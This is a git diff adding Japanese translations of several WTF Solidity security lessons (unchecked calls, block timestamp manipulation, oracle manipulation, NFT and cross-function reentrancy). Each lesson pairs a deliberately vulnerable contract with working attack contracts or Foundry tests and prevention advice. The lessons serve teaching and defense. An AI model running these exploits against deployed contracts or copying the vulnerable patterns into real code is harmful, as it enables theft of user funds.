constructor(UncheckedBank _bank) { + bank = _bank; + } + + // コールバック関数、ETH転送時に失敗 + receive() external payable { + revert(); + } + + // 預金関数、呼び出し時にmsg.valueを預金額に設定 + function deposit() external payable { + bank.deposit{value: msg.value}(); + } + + // 出金関数、呼び出しは成功するが実際の出金は失敗 + function withdraw() external payable { + bank.withdraw(); + } + + // 本コントラクトの残高を取得 + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## `Remix`での再現 + +1. `UncheckedBank`コントラクトをデプロイします。 + +2. `Attack`コントラクトをデプロイし、コンストラクタに`UncheckedBank`コントラクトアドレスを入力します。 + +3. `Attack`コントラクトの`deposit()`預金関数を呼び出し、`1 ETH`を預けます。 + +4. `Attack`コントラクトの`withdraw()`出金関数を呼び出して出金を行います。呼び出しは成功します。 + +5. `UncheckedBank`コントラクトの`balanceOf()`関数と`Attack`コントラクトの`getBalance()`関数をそれぞれ呼び出します。前のステップの呼び出しが成功し、預金者の残高がクリアされたにもかかわらず、出金は失敗しています。 + +## 予防方法 + +以下の方法で未チェック低レベル呼び出しの脆弱性を予防できます: + +1. 低レベル呼び出しの戻り値をチェックします。上記の銀行コントラクトでは、`withdraw()`を修正できます。 + ```solidity + bool success = payable(msg.sender).send(balance); + require(success, "Failed Sending ETH!") + ``` +2. コントラクトで`ETH`を転送する時は、`call()`を使用し、リエントランシー保護を適切に行います。 + +3. `OpenZeppelin`の[Addressライブラリ](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol)を使用します。戻り値をチェックする低レベル呼び出しがうまくカプセル化されています。 + +## まとめ + +このレッスンでは、未チェック低レベル呼び出しの脆弱性とその予防方法を紹介しました。イーサリアムの低レベル呼び出し(call、delegatecall、staticcall、send)は失敗時にブール値falseを返しますが、取引全体をロールバックすることはありません。開発者がこれをチェックしない場合、予期せぬ問題が発生します。 \ No newline at end of file diff --git a/Languages/ja/S14_TimeManipulation_ja/readme.md b/Languages/ja/S14_TimeManipulation_ja/readme.md new file mode 100644 index 000000000..799d45ad7 --- /dev/null +++ b/Languages/ja/S14_TimeManipulation_ja/readme.md @@ -0,0 +1,146 @@ +--- +title: S14. ブロック時間の操作 +tags: +- solidity +- security +- timestamp +--- + +# WTF Solidity 合約セキュリティ: S14. ブロック時間の操作 + +最近、Solidityを再学習し、詳細を固めるために「WTF Solidity 合約セキュリティ」を書いています。初心者向けのチュートリアル(プログラミング上級者は他のチュートリアルを参照してください)で、毎週1-3レッスンを更新します。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubで公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +このレッスンでは、スマートコントラクトのブロック時間操作攻撃について紹介し、Foundryを使って再現します。マージ(The Merge)以前、イーサリアムマイナーはブロック時間を操作することができ、抽選コントラクトの疑似乱数がブロック時間に依存している場合、攻撃される可能性がありました。 + +## ブロック時間 + +ブロック時間(block timestamp)は、イーサリアムブロックヘッダーに含まれる`uint64`値で、このブロックが作成されたUTCタイムスタンプ(単位:秒)を表します。マージ(The Merge)以前、イーサリアムは算力によってブロック難易度を調整するため、ブロック生成時間は不定で、平均14.5秒で1ブロックを生成し、マイナーがブロック時間を操作できました。マージ後は、固定で12秒に1ブロックに変更され、バリデーターノードはブロック時間を操作できません。 + +Solidityでは、開発者はグローバル変数`block.timestamp`を通じて現在のブロックのタイムスタンプを取得でき、型は`uint256`です。 + +## 脆弱性の例 + +この例は[WTF Solidity合約セキュリティ: S07. 悪い乱数](https://github.com/AmazingAng/WTF-Solidity/tree/main/S07_BadRandomness)のコントラクトを改写したものです。`mint()`鋳造関数の条件を変更しました:ブロック時間が170で割り切れる時のみ鋳造成功できます: + +```solidity +contract TimeManipulation is ERC721 { + uint256 totalSupply; + + // コンストラクタ、NFTコレクションの名前、シンボルを初期化 + constructor() ERC721("", ""){} + + // 鋳造関数:ブロック時間が7で割り切れる時のみmint成功 + function luckyMint() external returns(bool success){ + if(block.timestamp % 170 == 0){ + _mint(msg.sender, totalSupply); // mint + totalSupply++; + success = true; + }else{ + success = false; + } + } +} +``` + +## Foundryでの攻撃再現 + +攻撃者はブロック時間を操作し、170で割り切れる数字に設定するだけで、NFTの鋳造に成功できます。この攻撃の再現にはFoundryを選択します。ブロック時間を修正するチートコード(cheatcodes)を提供するためです。Foundry/チートコードについて理解していない場合は、[Foundryチュートリアル](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md)と[Foundry Book](https://book.getfoundry.sh/forge/cheatcodes)をお読みください。 + +コードの大まかなロジック + +1. `TimeManipulation`コントラクト変数`nft`を作成します。 +2. ウォレットアドレス`alice`を作成します。 +3. チートコード`vm.warp()`を使ってブロック時間を169に変更します。170で割り切れないため、鋳造は失敗します。 +4. チートコード`vm.warp()`を使ってブロック時間を17000に変更します。170で割り切れるため、鋳造は成功します。 + +コード: + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.21; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/TimeManipulation.sol"; + +contract TimeManipulationTest is Test { + TimeManipulation public nft; + + // 指定された秘密鍵のアドレスを計算 + address alice = vm.addr(1); + + function setUp() public { + nft = new TimeManipulation(); + } + + // forge test -vv --match-test testMint + function testMint() public { + console.log("条件 1: block.timestamp % 170 != 0"); + // block.timestampを169に設定 + vm.warp(169); + console.log("block.timestamp: %s", block.timestamp); + // 以降のすべての呼び出しのmsg.senderを入力アドレスに設定 + // `stopPrank`が呼ばれるまで + vm.startPrank(alice); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + + // block.timestampを17000に設定 + console.log("条件 2: block.timestamp % 170 == 0"); + vm.warp(17000); + console.log("block.timestamp: %s", block.timestamp); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + vm.stopPrank(); + } +} + +``` + +Foundryをインストール後、コマンドラインで以下のコマンドを入力して新プロジェクトを開始し、openzeppelinライブラリをインストールします: + +```shell +forge init TimeManipulation +cd TimeManipulation +forge install Openzeppelin/openzeppelin-contracts +``` + +このレッスンのコードをそれぞれ`src`と`test`ディレクトリにコピーし、以下のコマンドでテストケースを実行します: + +```shell +forge test -vv --match-test testMint +``` + +出力は以下の通りです: + +```shell +Running 1 test for test/TimeManipulation.t.sol:TimeManipulationTest +[PASS] testMint() (gas: 94666) +Logs: + 条件 1: block.timestamp % 170 != 0 + block.timestamp: 169 + alice balance before mint: 0 + alice balance after mint: 0 + 条件 2: block.timestamp % 170 == 0 + block.timestamp: 17000 + alice balance before mint: 0 + alice balance after mint: 1 + +Test result: ok. 1 passed; 0 failed; finished in 7.64ms +``` + +`block.timestamp`を17000に変更した時、鋳造が成功したことが確認できます。 + +## まとめ + +このレッスンでは、スマートコントラクトのブロック時間操作攻撃について紹介し、Foundryを使って再現しました。マージ(The Merge)以前、イーサリアムマイナーはブロック時間を操作でき、抽選コントラクトの疑似乱数がブロック時間に依存している場合、攻撃される可能性がありました。マージ後、イーサリアムは固定で12秒に1ブロックに変更され、バリデーターノードはブロック時間を操作できません。したがって、この種の攻撃はイーサリアム上では発生しませんが、他のパブリックチェーンでは依然として遭遇する可能性があります。 \ No newline at end of file diff --git a/Languages/ja/S15_OracleManipulation_ja/readme.md b/Languages/ja/S15_OracleManipulation_ja/readme.md new file mode 100644 index 000000000..bbcadd6d3 --- /dev/null +++ b/Languages/ja/S15_OracleManipulation_ja/readme.md @@ -0,0 +1,239 @@ +--- +title: S15. オラクル操作 +tags: +- solidity +- security +- oracle + +--- + +# WTF Solidity 合約セキュリティ: S15. オラクル操作 + +最近、Solidityを再学習し、詳細を固めるために「WTF Solidity 合約セキュリティ」を書いています。初心者向けのチュートリアル(プログラミング上級者は他のチュートリアルを参照してください)で、毎週1-3レッスンを更新します。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubで公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +このレッスンでは、スマートコントラクトのオラクル操作攻撃について紹介し、攻撃例を再現します:`1 ETH`で17兆枚のステーブルコインと交換。2022年だけで、オラクル操作攻撃によるユーザー資産損失は2億ドルを超えています。 + +## 価格オラクル + +セキュリティ上の考慮から、イーサリアム仮想マシン(EVM)は閉鎖された隔離されたサンドボックスです。EVM上で実行されるスマートコントラクトはオンチェーン情報にアクセスできますが、外部と積極的にコミュニケーションしてオフチェーン情報を取得することはできません。しかし、このような情報は分散型アプリケーションにとって非常に重要です。 + +オラクル(oracle)はこの問題を解決するのに役立ちます。オフチェーンデータソースから情報を取得し、それをオンチェーンに追加してスマートコントラクトが使用できるようにします。 + +最も一般的に使用されるのは価格オラクル(price oracle)で、これはトークン価格を照会できるデータソースを指します。典型的な使用例: +- 分散型貸付プラットフォーム(AAVE)が借り手が清算しきい値に達したかどうかを判断するために使用します。 +- 合成資産プラットフォーム(Synthetix)が資産の最新価格を決定し、0スリッページ取引をサポートするために使用します。 +- MakerDAOが担保の価格を決定し、対応するステーブルコイン$DAIを鋳造するために使用します。 + +![](./img/S15-1.png) + +## オラクルの脆弱性 + +オラクルが開発者によって正しく使用されない場合、大きなセキュリティリスクを引き起こします。 + +- 2021年10月、BNBチェーン上のDeFiプラットフォームCream Financeがオラクルの脆弱性により[ユーザー資金1億3000万ドルを盗まれました](https://rekt.news/cream-rekt-2/)。 +- 2022年5月、Terraチェーン上の合成資産プラットフォームMirror Protocolがオラクルの脆弱性により[ユーザー資金1億1500万ドルを盗まれました](https://rekt.news/mirror-rekt/)。 +- 2022年10月、Solanaチェーン上の分散型貸付プラットフォームMango Marketがオラクルの脆弱性により[ユーザー資金1億1500万ドルを盗まれました](https://rekt.news/mango-markets-rekt/)。 + +## 脆弱性の例 + +以下でオラクル脆弱性の例、`oUSD`コントラクトを学習します。このコントラクトはERC20標準に準拠したステーブルコインコントラクトです。合成資産プラットフォームSynthetixと同様に、ユーザーはこのコントラクト内でゼロスリッページで`ETH`を`oUSD`(Oracle USD)に交換できます。交換価格はカスタム価格オラクル(`getPrice()`関数)によって決定され、ここではUniswap V2の`WETH-BUSD`の瞬時価格を採用しています。後の攻撃例では、このオラクルがフラッシュローンと大額資金の状況下で非常に操作しやすいことがわかります。 + +### 脆弱性コントラクト + +`oUSD`コントラクトは`BUSD`、`WETH`、`UniswapV2`ファクトリーコントラクト、および`WETH-BUSD`ペアコントラクトのアドレスを記録する7つの状態変数を含みます。 + +`oUSD`コントラクトは主に3つの関数を含みます: +- コンストラクタ:`ERC20`トークンの名前とシンボルを初期化します。 +- `getPrice()`:価格オラクル、Uniswap V2の`WETH-BUSD`の瞬時価格を取得します。これが脆弱性のある箇所です。 + ``` + // ETH価格を取得 + function getPrice() public view returns (uint256 price) { + // ペア取引対の準備金 + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // ETH瞬時価格 + price = reserve0/reserve1; + } + ``` +- `swap()`:交換関数、オラクルによって与えられた価格で`ETH`を`oUSD`に交換します。 + +コントラクトコード: + +```solidity +contract oUSD is ERC20{ + // メインネットコントラクト + address public constant FACTORY_V2 = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address public constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + + IUniswapV2Factory public factory = IUniswapV2Factory(FACTORY_V2); + IUniswapV2Pair public pair = IUniswapV2Pair(factory.getPair(WETH, BUSD)); + IERC20 public weth = IERC20(WETH); + IERC20 public busd = IERC20(BUSD); + + constructor() ERC20("Oracle USD","oUSD"){} + + // ETH価格を取得 + function getPrice() public view returns (uint256 price) { + // ペア取引対の準備金 + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // ETH瞬時価格 + price = reserve0/reserve1; + } + + function swap() external payable returns (uint256 amount){ + // 価格を取得 + uint price = getPrice(); + // 交換量を計算 + amount = price * msg.value; + // トークンを鋳造 + _mint(msg.sender, amount); + } +} +``` + +### 攻撃の考え方 + +脆弱性のある価格オラクル`getPrice()`関数に対して攻撃を行います。手順: + +1. `BUSD`を準備します。自己資金でも、フラッシュローンの借款でも構いません。実装では、Foundryの`deal` cheatcodeを利用してローカルネットワーク上で自分に`1_000_000 BUSD`を鋳造しました。 +2. UniswapV2の`WETH-BUSD`プールで`BUSD`を使って大量の`WETH`を購入します。具体的な実装は攻撃コードの`swapBUSDtoWETH()`関数を参照してください。 +3. この状況下で、`WETH-BUSD`プール内のトークンペア比率がバランスを失い、`WETH`の瞬時価格が急騰します。この時`swap()`関数を呼び出して`ETH`を`oUSD`に変換します。 +4. **オプション:** UniswapV2の`WETH-BUSD`プールで第2ステップで購入した`WETH`を売却し、元本を回収します。 + +これら4つのステップは1つのトランザクションで完了できます。 + +### Foundryでの再現 + +オラクル操作攻撃の再現にはFoundryを選択します。高速で、メインネットのローカルフォークを作成でき、テストに便利だからです。Foundryについて理解していない場合は、[WTF Solidityツール編 T07: Foundry](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md)をお読みください。 + +1. Foundryをインストール後、コマンドラインで以下のコマンドを入力して新プロジェクトを開始し、openzeppelinライブラリをインストールします。 + ```shell + forge init Oracle + cd Oracle + forge install Openzeppelin/openzeppelin-contracts + ``` + +2. ルートディレクトリに`.env`環境変数ファイルを作成し、その中にメインネットrpcを追加してローカルテストネットを作成します。 + + ``` + MAINNET_RPC_URL= https://rpc.ankr.com/eth + ``` + +3. このレッスンのコード、`Oracle.sol`と`Oracle.t.sol`をそれぞれルートディレクトリの`src`と`test`フォルダにコピーし、以下のコマンドで攻撃スクリプトを実行します。 + + ``` + forge test -vv --match-test testOracleAttack + ``` + +4. ターミナルで攻撃結果を確認できます。攻撃前、オラクル`getPrice()`が与える`ETH`価格は`1216 USD`で正常です。しかし、`1,000,000` BUSDを使ってUniswapV2の`WETH-BUSD`プールで`WETH`を購入した後、オラクルが与える価格は`17,979,841,782,699 USD`に操作されました。この時、`1 ETH`で17兆枚の`oUSD`と簡単に交換でき、攻撃が完了します。 + ```shell + Running 1 test for test/Oracle.t.sol:OracleTest + [PASS] testOracleAttack() (gas: 356524) + Logs: + 1. ETH Price (before attack): 1216 + 2. Swap 1,000,000 BUSD to WETH to manipulate the oracle + 3. ETH price (after attack): 17979841782699 + 4. Minted 1797984178269 oUSD with 1 ETH (after attack) + + Test result: ok. 1 passed; 0 failed; finished in 262.94ms + ``` + +攻撃コード: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/Oracle.sol"; + +contract OracleTest is Test { + address private constant alice = address(1); + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address private constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; + IUniswapV2Router router; + IWETH private weth = IWETH(WETH); + IBUSD private busd = IBUSD(BUSD); + string MAINNET_RPC_URL; + oUSD ousd; + + function setUp() public { + MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL"); + // 指定ブロックをフォーク + vm.createSelectFork(MAINNET_RPC_URL,16060405); + router = IUniswapV2Router(ROUTER); + ousd = new oUSD(); + } + + //forge test --match-test testOracleAttack -vv + function testOracleAttack() public { + // オラクルを攻撃 + // 0. オラクル操作前の価格 + uint256 priceBefore = ousd.getPrice(); + console.log("1. ETH Price (before attack): %s", priceBefore); + // 自分のアカウントに1000000 BUSDを付与 + uint busdAmount = 1_000_000 * 10e18; + deal(BUSD, alice, busdAmount); + // 2. busdでwethを買い、瞬時価格を押し上げる + vm.prank(alice); + busd.transfer(address(this), busdAmount); + swapBUSDtoWETH(busdAmount, 1); + console.log("2. Swap 1,000,000 BUSD to WETH to manipulate the oracle"); + // 3. オラクル操作後の価格 + uint256 priceAfter = ousd.getPrice(); + console.log("3. ETH price (after attack): %s", priceAfter); + // 4. oUSDを鋳造 + ousd.swap{value: 1 ether}(); + console.log("4. Minted %s oUSD with 1 ETH (after attack)", ousd.balanceOf(address(this))/10e18); + } + + // BUSDをWETHに交換 + function swapBUSDtoWETH(uint amountIn, uint amountOutMin) + public + returns (uint amountOut) + { + busd.approve(address(router), amountIn); + + address[] memory path; + path = new address[](2); + path[0] = BUSD; + path[1] = WETH; + + uint[] memory amounts = router.swapExactTokensForTokens( + amountIn, + amountOutMin, + path, + alice, + block.timestamp + ); + + // amounts[0] = BUSD amount, amounts[1] = WETH amount + return amounts[1]; + } +} +``` + +## 予防方法 + +著名なブロックチェーンセキュリティ専門家`samczsun`が[ブログ](https://www.paradigm.xyz/2020/11/so-you-want-to-use-a-price-oracle)でオラクル操作の予防方法をまとめています。ここで要約します: + +1. 流動性の低いプールを価格オラクルとして使用しない。 +2. スポット/瞬時価格を価格オラクルとして使用せず、価格遅延を加える。例:時間加重平均価格(TWAP)。 +3. 分散型オラクルを使用する。 +4. 複数のデータソースを使用し、毎回価格の中央値に最も近いいくつかをオラクルとして選択し、極端な状況を避ける。 +5. Oracleオラクルの価格照会メソッド(`latestRoundData()`など)を使用する際は、返される結果を検証し、期限切れの無効なデータの使用を防ぐ。 +6. サードパーティ価格オラクルの使用ドキュメントとパラメータ設定を注意深く読む。 + +## まとめ + +このレッスンでは、オラクル操作攻撃について紹介し、脆弱性のある合成ステーブルコインコントラクトを攻撃し、`1 ETH`で17兆ステーブルコインと交換して世界一の富豪になりました(実際にはなっていません)。 \ No newline at end of file diff --git a/Languages/ja/S16_NFTReentrancy_ja/readme.md b/Languages/ja/S16_NFTReentrancy_ja/readme.md new file mode 100644 index 000000000..046c18079 --- /dev/null +++ b/Languages/ja/S16_NFTReentrancy_ja/readme.md @@ -0,0 +1,133 @@ +--- +title: S16. NFTリエントランシー攻撃 +tags: + - solidity + - security + - fallback + - nft + - erc721 + - erc1155 +--- + +# WTF Solidity 合約セキュリティ: S16. NFTリエントランシー攻撃 + +最近、Solidityを再学習し、詳細を固めるために「WTF Solidity 合約セキュリティ」を書いています。初心者向けのチュートリアル(プログラミング上級者は他のチュートリアルを参照してください)で、毎週1-3レッスンを更新します。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubで公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +このレッスンでは、NFTコントラクトのリエントランシー攻撃脆弱性について紹介し、脆弱性のあるNFTコントラクトを攻撃して10個のNFTを鋳造します。 + +## NFTリエントランシーのリスク + +[S01 リエントランシー攻撃](https://github.com/AmazingAng/WTF-Solidity/blob/main/S01_ReentrancyAttack/readme.md)で説明したように、リエントランシー攻撃はスマートコントラクトで最も一般的な攻撃の一つです。攻撃者はコントラクトの脆弱性(例:`fallback`関数)を通じてコントラクトを循環呼び出しし、コントラクト内の資産を転送したり、大量のトークンを鋳造したりします。NFTの転送時にはコントラクトの`fallback`や`receive`関数がトリガーされないのに、なぜリエントランシーのリスクがあるのでしょうか? + +これは、NFT標準([ERC721](https://github.com/AmazingAng/WTF-Solidity/blob/main/34_ERC721/readme.md)/[ERC1155](https://github.com/AmazingAng/WTF-Solidity/blob/main/40_ERC1155/readme.md))がユーザーが誤って資産をブラックホールに転送することを防ぐため、安全転送を追加したためです:転送先アドレスがコントラクトの場合、そのアドレスの対応するチェック関数を呼び出し、NFT資産を受け取る準備ができていることを確認します。例えば、`ERC721`の`safeTransferFrom()`関数は対象アドレスの`onERC721Received()`関数を呼び出し、ハッカーはその中に悪意のあるコードを埋め込んで攻撃することができます。 + +`ERC721`と`ERC1155`でリエントランシーリスクの可能性がある関数をまとめました: + +![](./img/S16-1.png) + +## 脆弱性の例 + +以下で、リエントランシー脆弱性のあるNFTコントラクトの例を学習します。これは`ERC721`コントラクトで、各アドレスが無料で1つのNFTを鋳造できますが、リエントランシー攻撃により一度に複数を鋳造できます。 + +### 脆弱性コントラクト + +`NFTReentrancy`コントラクトは`ERC721`コントラクトを継承し、主に2つの状態変数があります。`totalSupply`はNFTの総供給量を記録し、`mintedAddress`は既に鋳造したアドレスを記録して、ユーザーが複数回鋳造することを防ぎます。主に2つの関数があります: +- コンストラクタ:`ERC721` NFTの名前とシンボルを初期化します。 +- `mint()`:鋳造関数、各ユーザーが無料で1つのNFTを鋳造できます。**注意:この関数にはリエントランシー脆弱性があります!** + +```solidity +contract NFTReentrancy is ERC721 { + uint256 public totalSupply; + mapping(address => bool) public mintedAddress; + // コンストラクタ、NFTコレクションの名前、シンボルを初期化 + constructor() ERC721("Reentry NFT", "ReNFT"){} + + // 鋳造関数、各ユーザーは1つのNFTのみ鋳造可能 + // リエントランシー脆弱性あり + function mint() payable external { + // mint済みかどうかをチェック + require(mintedAddress[msg.sender] == false); + // total supplyを増加 + totalSupply++; + // mint + _safeMint(msg.sender, totalSupply); + // mint済みアドレスを記録 + mintedAddress[msg.sender] = true; + } +} +``` + +### 攻撃コントラクト + +`NFTReentrancy`コントラクトのリエントランシー攻撃ポイントは、`mint()`関数が`ERC721`コントラクトの`_safeMint()`を呼び出し、それが転送先アドレスの`_checkOnERC721Received()`関数を呼び出すことです。転送先アドレスの`_checkOnERC721Received()`に悪意のあるコードが含まれている場合、攻撃が可能です。 + +`Attack`コントラクトは`IERC721Receiver`コントラクトを継承し、脆弱性のあるNFTコントラクトアドレスを記録する1つの状態変数`nft`があります。3つの関数があります: +- コンストラクタ:脆弱性のあるNFTコントラクトアドレスを初期化します。 +- `attack()`:攻撃関数、NFTコントラクトの`mint()`関数を呼び出して攻撃を開始します。 +- `onERC721Received()`:悪意のあるコードが埋め込まれたERC721コールバック関数で、`mint()`関数を繰り返し呼び出し、10個のNFTを鋳造します。 + +```solidity +contract Attack is IERC721Receiver{ + NFTReentrancy public nft; // 脆弱性のあるnftコントラクトアドレス + + // NFTコントラクトアドレスを初期化 + constructor(NFTReentrancy _nftAddr) { + nft = _nftAddr; + } + + // 攻撃関数、攻撃を開始 + function attack() external { + nft.mint(); + } + + // ERC721のコールバック関数、mint関数を繰り返し呼び出し、10個を鋳造 + function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { + if(nft.balanceOf(address(this)) < 10){ + nft.mint(); + } + return this.onERC721Received.selector; + } +} +``` + +## Remixでの再現 + +1. `NFTReentrancy`コントラクトをデプロイします。 +2. `Attack`コントラクトをデプロイし、パラメータに`NFTReentrancy`コントラクトアドレスを入力します。 +3. `Attack`コントラクトの`attack()`関数を呼び出して攻撃を開始します。 +4. `NFTReentrancy`コントラクトの`balanceOf()`関数を呼び出して`Attack`コントラクトの保有量を照会すると、`10`個のNFTを保有していることが確認でき、攻撃が成功します。 + +![](./img/S16-2.png) + +## 予防方法 + +リエントランシー攻撃脆弱性を予防する主な方法は2つあります:チェック-エフェクト-インタラクションパターン(checks-effect-interaction)とリエントランシーロック。 + +1. チェック-エフェクト-インタラクションパターン:関数を書く際に、まず状態変数が要件を満たしているかチェックし、続いて状態変数(例:残高)を更新し、最後に他のコントラクトとやり取りすることを強調します。このパターンを使って脆弱性のある`mint()`関数を修正できます: + + ```solidity + function mint() payable external { + // mint済みかどうかをチェック + require(mintedAddress[msg.sender] == false); + // total supplyを増加 + totalSupply++; + // mint済みアドレスを記録 + mintedAddress[msg.sender] = true; + // mint + _safeMint(msg.sender, totalSupply); + } + ``` + +2. リエントランシーロック:リエントランシー関数を防ぐ修飾子(modifier)です。OpenZeppelinが提供する[ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol)を直接使用することを推奨します。 + +## まとめ + +このレッスンでは、NFTのリエントランシー攻撃脆弱性について紹介し、脆弱性のあるNFTコントラクトを攻撃して10個のNFTを鋳造しました。現在、リエントランシー攻撃を予防する主な方法は2つあります:チェック-エフェクト-インタラクションパターン(checks-effect-interaction)とリエントランシーロックです。 \ No newline at end of file diff --git a/Languages/ja/S17_CrossReentrancy_ja/readme.md b/Languages/ja/S17_CrossReentrancy_ja/readme.md new file mode 100644 index 000000000..4c6eb72e1 --- /dev/null +++ b/Languages/ja/S17_CrossReentrancy_ja/readme.md @@ -0,0 +1,333 @@ +--- +title: S17. "クロスサーバー"リエントランシー攻撃 +tags: + - solidity + - security + - fallback + - modifier + - ERC721 + - ERC777 +--- + +# WTF Solidity 合約セキュリティ: S17. "クロスサーバー"リエントランシー攻撃 + +最近、Solidityを再学習し、詳細を固めるために「WTF Solidity 合約セキュリティ」を書いています。初心者向けのチュートリアル(プログラミング上級者は他のチュートリアルを参照してください)で、毎週1-3レッスンを更新します。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubで公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +スマートコントラクトセキュリティの分野において、リエントランシー攻撃は常に注目される話題です。[リエントランシー攻撃](../S01_ReentrancyAttack/readme.md)のレッスンで、`0xAA`は教科書レベルの古典的なリエントランシー攻撃の考え方を生き生きと示しました。一方、本番環境では、より巧妙で複雑な実例が、新しい形で継続的に登場し、多くのプロジェクトに破壊をもたらすことに成功しています。これらの実例は、攻撃者がスマートコントラクトの脆弱性を利用して、精巧に計画された攻撃を組み合わせる方法を示しています。このレッスンでは、本番環境で実際に発生した「クロスサーバー」属性を持つリエントランシー攻撃事例を紹介します。いわゆる「クロスサーバー」は、この種の攻撃対象の生き生きとした概括で、共通の手段が1つの関数から始まるが、攻撃対象は他の関数/コントラクト/プロジェクトなどであることです。このレッスンでは、その操作を簡素化・抽出し、攻撃者の考え方、利用される脆弱性、対応する防御措置を探討します。これらの実例を理解することで、リエントランシー攻撃の本質をより良く理解し、安全なスマートコントラクトを書くスキルと意識を向上させることができます。 + +注:以下に示すコード例はすべて簡素化された`pseudo-code`で、主に攻撃の考え方を説明することを目的としています。内容は多くの`Web3 Security Researchers`が共有した監査事例から来ており、彼らの貢献に感謝します! + + +## 1. 関数間リエントランシー攻撃 + +*「あの年、私はリエントランシーロックを付けていて、敵が何者か知らなかった。あの日まで、あの男が天から降りてきて、それでも私の銀子を巻き上げていった...」-- ロック婆婆* + +以下のコード例をご覧ください: +``` +// SPDX-License-Identifier: MIT +pragma solidity 0.8.17; + +contract VulnerableBank { + mapping(address => uint256) public balances; + + uint256 private _status; // リエントランシーロック + + // リエントランシーロック + modifier nonReentrant() { + // nonReentrantの最初の呼び出し時、_statusは0になります + require(_status == 0, "ReentrancyGuard: reentrant call"); + // この後のnonReentrantへの呼び出しはすべて失敗します + _status = 1; + _; + // 呼び出し終了時、_statusを0に復元 + _status = 0; + } + + function deposit() external payable { + require(msg.value > 0, "Deposit amount must ba greater than 0"); + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 _amount) external nonReentrant { + uint256 balance = balances[msg.sender]; + require(balance >= _amount, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: _amount}(""); + require(success, "Withdraw failed"); + + balances[msg.sender] = balance - _amount; + } + + function transfer(address _to, uint256 _amount) external { + uint256 balance = balances[msg.sender]; + require(balance >= _amount, "Insufficient balance"); + + balances[msg.sender] -= _amount; + balances[_to] += _amount; + } +} +``` + +上記の`VulnerableBank`コントラクトでは、`ETH`転送のステップは`withdraw`関数内にのみ存在し、この関数はすでにリエントランシーロック`nonReentrant`を使用していることがわかります。では、このコントラクトに対してリエントランシー攻撃を行う他の方法はあるでしょうか? + +以下の攻撃者コントラクトの例をご覧ください: + +``` +// SPDX-License-Identifier: MIT +pragma solidity 0.8.17; + +import "../IVault.sol"; + +contract Attack2Contract { + address victim; + address owner; + + constructor(address _victim, address _owner) { + victim = _victim; + owner = _owner; + } + + function deposit() external payable { + IVault(victim).deposit{value: msg.value}(""); + } + + function withdraw() external { + Ivault(victim).withdraw(); + } + + receive() external payable { + uint256 balance = Ivault(victim).balances[address(this)]; + Ivault(victim).transfer(owner, balance); + } +} +``` + 